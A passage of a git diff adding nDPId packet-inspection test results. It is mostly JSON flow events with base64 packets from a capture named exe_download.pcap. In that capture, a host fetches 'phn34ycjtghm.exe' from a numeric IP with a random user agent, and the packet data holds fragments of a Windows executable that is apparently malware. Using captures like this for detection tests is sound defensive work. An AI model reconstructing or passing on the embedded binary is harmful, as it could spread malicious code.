nTQZFXTXU9XVqqqQlOkUsTMTiF0dbm32C97Qj202x3I4SGZE8nwdInxnX8nY65E\/K8JK0edlNviRiUkfu9o\/gCJI\/Y="} +00718{"flow_id":72,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1989,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508366,"pkt_ts_usec":133177,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEE\/xtAAC4GafgzU+0swKgBuHZf3WzP3gb0HaeOqIAYAOy\/HwAAAQEICmlUxcQi2JnjOWodgF8zqqT3ux8u1K\/g6U6QBmyPDWBUcKgtfjzQ8ZlvmNh1rnQ0\/PjijhpEydaVIxPYRaibF5WEb1KrRVfkRhE5xHjp+CWzD39yD5ssUUl0J1JfqZGOmgi9deNFDOPhY+vWdzzZzmwC1A5nNc7kk8dUVJrtrtv373RjRw25qIqq\/0+\/hFZW00NdV0znJoUGJE91KNHYPMi7wCtFEj6Ucp0mi8GwDXYDJrWFHthe7h6\/TwY2K3iLjVuLLfeXN76lHvSq1nVFTCIT67e9N28wUg=="} +00429{"flow_id":72,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1990,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508366,"pkt_ts_usec":133281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGV+TAqAG4M1PtLN1sdl8dp49Yz94HxIAQEBq\/WwAAAQEICiLYmgdpVMXE"} +00474{"flow_id":72,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1991,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508366,"pkt_ts_usec":133434,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGV8TAqAG4M1PtLN1sdl8dp49Yz94HxIAYEBrpfQAAAQEICiLYmgdpVMXEsbvcLYadChRphbpgRufGc3E5TGLY9wr\/00\/QEFUd68g="} diff --git a/test/results/exe_download.pcap.out b/test/results/exe_download.pcap.out new file mode 100644 index 000000000..37a7f525d --- /dev/null +++ b/test/results/exe_download.pcap.out @@ -0,0 +1,18 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"exe_download.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569434051004,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"144.91.69.195","src_port":49165,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":4796,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IOUqtpPxAAgCHEeuCABFAAA0AI9AAIAGAKkKCRllkFtFw8ANAFC+hvgeAAAAAIACIADegAAAAgQFtAEDAwgBAQQC"} +00419{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":324116,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AAgCHEeuIOUqtpPxCABFAAAsBbAAAIAGO5CQW0XDCgkZZQBQwA0+79i4vob4H2AS+vAU7QAAAgQFtA=="} +00412{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":324323,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoALJAAIAGAJIKCRllkFtFw8ANAFC+hvgfPu\/YuVAQ+vAsqgAA"} +00621{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":324979,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"IOUqtpPxAAgCHEeuCABFAADBALNAAIAG\/\/cKCRllkFtFw8ANAFC+hvgfPu\/YuVAY+vAITAAAR0VUIC9zb2xhci5waHAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzDQpVc2VyLUFnZW50OiBwd3R5eUVLek50R2F0d25Kam1DY0JMYk92ZUNWcGMNCkhvc3Q6IDE0NC45MS42OS4xOTUNCg0K"} +00706{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"exe_download.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1569434051004,"flow_last_seen":1569434051324,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":20,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"144.91.69.195","src_port":49165,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"144.91.69.195","url":"144.91.69.195\/solar.php","code":0,"content_type":"","user_agent":"pwtyyEKzNtGatwnJjmCcBLbOveCVpc"}} +00411{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":325236,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAgCHEeuIOUqtpPxCABFAAAoBbEAAIAGO5OQW0XDCgkZZQBQwA0+79i5vob4uFAQ+vAsEQAA"} +02368{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":623372,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AAgCHEeuIOUqtpPxCABFAAXcBbQAAIAGNdyQW0XDCgkZZQBQwA0+79i5vob4uFAQ+vA4RgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuMTAuMw0KRGF0ZTogV2VkLCAyNSBTZXAgMjAxOSAxNzo1NDoxMiBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogNjc5MDA4DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyDQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0icGhuMzR5Y2p0Z2htLmV4ZSINCkV4cGlyZXM6IDANCkNhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBwdWJsaWMNCg0KTVqQAAMAAAAEAAAA\/\/8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADF5hWJgYd72oGHe9qBh3vasqVe2oOHe9pbpGfai4d72likZ9qAh3vae6Ri2piHe9qBh3ra\/4V72nujO9qdh3vae6Nn2gSHe9qqplzaiId72nujZtoZh3vae6M+2oCHe9p7o0bagId72lJpY2iBh3vaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBAA3BYtdAAAAAAAAAADgAA8BCwEHAABABAAAwAQAAAAAAGIRAQAAEAAAAFAEAAAAQAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAEAkAABAAAJAACQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAsZAUAGAEAAAAABgDyAQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAEAGAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAKMzBAAAEAAAAEAEAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABgOwEAAFAEAABAAQAAUAQAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAxGAAAACQBQAAMAAAAJAFAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAPIBAwAAAAYAABADAADABQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00808{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"exe_download.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1569434051004,"flow_last_seen":1569434051623,"flow_tot_l4_data_len":1749,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":291,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"144.91.69.195","src_port":49165,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"4":"Binary application transfer","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"http": {"hostname":"144.91.69.195","url":"144.91.69.195\/solar.php","code":200,"content_type":"application\/octet-stream","user_agent":"pwtyyEKzNtGatwnJjmCcBLbOveCVpc"}} +02109{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":623382,"pkt_caplen":1322,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1322,"pkt_l4_len":1288,"pkt":"AAgCHEeuIOUqtpPxCABFAAUcBbUAAIAGNpuQW0XDCgkZZQBQwA0+795tvob4uFAY+vAhYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00412{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":623558,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoALZAAIAGAI4KCRllkFtFw8ANAFC+hvi4Pu\/jYVAQ+vAhaQAA"} +02237{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":624937,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8BbYAAIAGNjqQW0XDCgkZZQBQwA0+7+Nhvob4uFAY+vAcDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +02380{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":625084,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8BbcAAIAGNjmQW0XDCgkZZQBQwA0+7+i1vob4uFAY+vC0SgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7Gr\/aOooRABkoQAAAABQZIklAAAAAIPsDGjsAQAA6PLcAQCDxASJRezHRfwAAAAAg33sAHQNi03s6EAAAACJRejrB8dF6AAAAACLReiJRfDHRfz\/\/\/\/\/i0Xwi030ZIkNAAAAAIvlXcPMzMzMzMxVi+xRiU38uDBZRACL5V3DVYvsUYlN\/ItN\/Oh2EQMAi0X8xwBYWUQAi038x4HQAQAAAAAAAItV\/MeC1AEAAAAAAACLRfzHgNgBAAAAAAAAi038x4HcAQAAAAAAAItV\/MeC4AEAAAEAAACLRfzHgOQBAAAAAAAAi038x4HoAQAAAAAAAItV\/MeCzAEAAAAAAACLRfyL5V3DzMzMzMzMzMzMVYvsUYlN\/ItN\/OghAAAAi0UIg+ABhcB0DItN\/FHoENwBAIPEBItF\/IvlXcIEAMzMVYvsav9oEylEAGShAAAAAFBkiSUAAAAAUYlN8ItF8McAWFlEAMdF\/AEAAACLTfCBwZwAAADoydIBAMZF\/ACLTfCDwWjoe24CAMdF\/P\/\/\/\/+LTfDolmYCAItN9GSJDQAAAACL5V3DzMzMzMzMzMzMzFWL7FGJTfy4YFdEAIvlXcNVi+yD7AiJTfiLRfiLSFCJTfyL5V3CBADMzMzMzMzMzFWL7IHsHAEAAImN5P7\/\/4uN5P7\/\/+ht+AIAx4Xo\/v\/\/VAAAAMeF7P7\/\/wEAAMDHhfD+\/\/\/\/\/\/+\/x4X0\/v\/\/yAAAAGbHhST\/\/\/+QAceF+P7\/\/wAAAADHhfz+\/\/8AAAAAxoUA\/\/\/\/AMaFAf\/\/\/wBoBFtEAI2FAv\/\/\/1Do8vIAAIPECIuN7P7\/\/4HJAAAAIImN7P7\/\/4uV5P7\/\/8eC0AEAAAEAAACNhej+\/\/9Qi43k\/v\/\/6KvEAQCNjUD\/\/\/9Ri43k\/v\/\/6BHFAQDHhUT\/\/\/8IAAAAZseFWP\/\/\/wEAi+Vdw8zMVYvsgewYAQAAiY3o\/v\/\/jUXwUP8VXFNEAGgAAQAAjY3w\/v\/\/UWgMW0QAjVXwUmoAaAAIAAD\/FWRTRADHhez+\/\/8AAAAAjYXw\/v\/\/UIuN7P7\/\/1FowgAAAIuV6P7\/\/4tCHFD\/FUhVRACL5V3DzMzMzFWL7IHsGAEAAImN6P7\/\/41F8FD\/FVxTRABoAAEAAI2N8P7\/\/1FoHFtEAI1V8FJqAGgACAAA\/xVYU0QAx4Xs\/v\/\/AAAAAI2F8P7\/\/1CLjez+\/\/9RaMIAAACLlej+\/\/+LQhxQ\/xVIVUQAi+Vdw8zMzMxVi+yB7MQAAACJjTz\/\/\/+NhUD\/\/\/9Qi408\/\/\/\/6PfDAQDHhUT\/\/\/8IAAAAZotNCGaJjVj\/\/\/+NlUD\/\/\/9Si408\/\/\/\/6AzEAQBqAGoBaLkAAACLhTz\/\/\/+LSBxR\/xVIVUQAi+VdwgQAzMzMzMw="} +00414{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":625400,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoALdAAIAGAI0KCRllkFtFw8ANAFC+hvi4Pu\/uCVAQ+vAWwQAA"} +02439{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":627512,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8BbgAAIAGNjiQW0XDCgkZZQBQwA0+7+4Jvob4uFAY+vD9OgAAzMzMzFWL7IHsxAAAAFeJjUD\/\/\/\/HhUj\/\/\/8AAAAAuQ4AAAAzwI29TP\/\/\/\/Orx0XAPAAAAIuFQP\/\/\/4tIHFH\/FUxVRABQ6CJrAgCJhUT\/\/\/9qWouVRP\/\/\/1L\/FRxRRACJRfyNRcBQagFoOgQAAIuNQP\/\/\/4tRHFL\/FUhVRADHhUj\/\/\/88AAAAg71A\/\/\/\/AHUMx4U8\/\/\/\/AAAAAOsPi4VA\/\/\/\/i0gciY08\/\/\/\/i5U8\/\/\/\/iZVM\/\/\/\/x4VQ\/\/\/\/AAAAAI1FhImFVP\/\/\/8eFXP\/\/\/0EhAADHhXz\/\/\/8BAAAAx0WAZgYAAItN1ImNYP\/\/\/8eFdP\/\/\/wAAAABmx4V4\/\/\/\/ACSLRcwPr0X8mbmgBQAA9\/n32IlFhMdFiAAAAADHRYwAAAAAx0WQAAAAAItVyIPiAffaG9KB4iwBAACBwpABAACJVZSLRciD4AKFwA+VwYhNmItVyIPiBIXSD5XAiEWZi03Ig+EIhckPlcKIVZrGRZwAxkWdAMZFngGKRdiIRZuKTdmITZ+NVdpSjUWgUOiy7wAAg8QIjY1I\/\/\/\/Uf8VhFZEAIXAdQXpqwAAAMdFwDwAAADHRcQ\/AADoi5VY\/\/\/\/0eKJVczHRcg\/AABAgX2UvAIAAH0Ji0XIg+D+iUXID7ZNmIXJdQmLVciD4v2JVcgPtkWZhcB1CYtNyIPh+4lNyA+2VZqF0nUJi0XIg+D3iUXIi41g\/\/\/\/iU3UilWbiFXYikWfiEXZjU2gUY1V2lLoEu8AAIPECI1FwFCLjUD\/\/\/\/oDsEBAIXAdQ5qAGoAaChbRADoUJUCAF+L5V3DzMzMzMzMzMzMVYvsav9oKylEAGShAAAAAFBkiSUAAAAAgez8AAAAVleJjfj+\/\/9qAGoAagCNjVz\/\/\/\/o5bABAMdF\/AAAAACNjVz\/\/\/\/oW7ABAIP4AXVfi0XYiYUA\/\/\/\/jY0E\/\/\/\/UYuN+P7\/\/+jBwAEAi1XYiZX8\/v\/\/i4X8\/v\/\/iYUY\/\/\/\/i40M\/\/\/\/geH\/\/\/+\/iY0M\/\/\/\/g+xUuRUAAACNtQT\/\/\/+L\/POli434\/v\/\/6FMFAADHRfz\/\/\/\/\/jY1c\/\/\/\/6BccAgCLTfRkiQ0AAAAAX16L5V3DzFWL7FGJTfyLTfzo9xsCAIvlXcPMzMzMzMzMzMzMzMzMVYvsg+xcVleJTaSNRahQi02k6CPAAQCLTaSDudABAAAAdB6LVbCD4v6JVbBmx0XkkAGLRaTHgNABAAAAAAAA6ymLTayByQAAQACDyQGJTazHRbABAAAAZsdF5LwCi1Wkx4LQAQAAAQAAAIPsVLkVAAAAjXWoi\/zzpYtNpOiPBAAAX16L5V3DzMzMzMzMzMzMVYvsgezEAAAAiY08\/\/\/\/jYVA\/\/\/\/UIuNPP\/\/\/+invwEAx4VE\/\/\/\/IAAAAA+3jUj\/\/\/+D+QF1G4uVPP\/\/\/8eCzAEAAAAAAABmx4VI\/\/\/\/AADrGYuFPP\/\/\/8eAzAEAAAEAAABmx4VI\/\/\/\/AQCNjUD\/\/\/9Ri408\/\/\/\/6Ie\/AQBqAGoBaLkAAACLlTz\/\/\/+LQhxQ\/xVIVUQAi+Vdw8zMzMzMzFWL7IPsXFZXiU2kjUWoUItNpOjzvgEAi02kg7ncAQAAAHQYi1Wwg+L9iVWwi0W